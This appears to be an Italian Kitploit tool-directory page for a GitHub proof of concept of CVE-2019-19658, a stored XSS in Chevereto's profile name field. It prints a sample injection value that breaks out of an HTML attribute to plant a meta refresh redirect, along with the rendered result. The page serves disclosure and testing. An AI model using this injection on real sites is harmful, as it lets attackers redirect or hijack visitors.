Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-19658 — Chevereto XSS persistente nella pagina del profilo - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core | Kitploit
Strumenti/GitHubGitHub/jra89/cve-2019-19658
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubjra89/cve-2019-19658

CVE-2019-19658

Chevereto XSS persistente nella pagina del profilo - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core

Vedi Repository
16 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-19658

Chevereto XSS persistente nella pagina del profilo - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. Un utente normale può inserire HTML e script nel nome del proprio profilo e verranno eseguiti nella sua pagina del profilo.

root@kitploit:~
/settings/profile

Nome:

root@kitploit:~
0;https://www.google.se" http-equiv="refresh" data="

Risultato nella pagina del profilo, che reindirizzerà a Google:

root@kitploit:~
<meta name="twitter:title" content="0;https://www.google.com" http-equiv="refresh" data=" (admin)">



Un utente registrato inietta uno script nel campo del nome, in questo caso per reindirizzare l'utente a Google



Qualcuno entra nel profilo di /test e viene quindi reindirizzato

Scarica lo strumento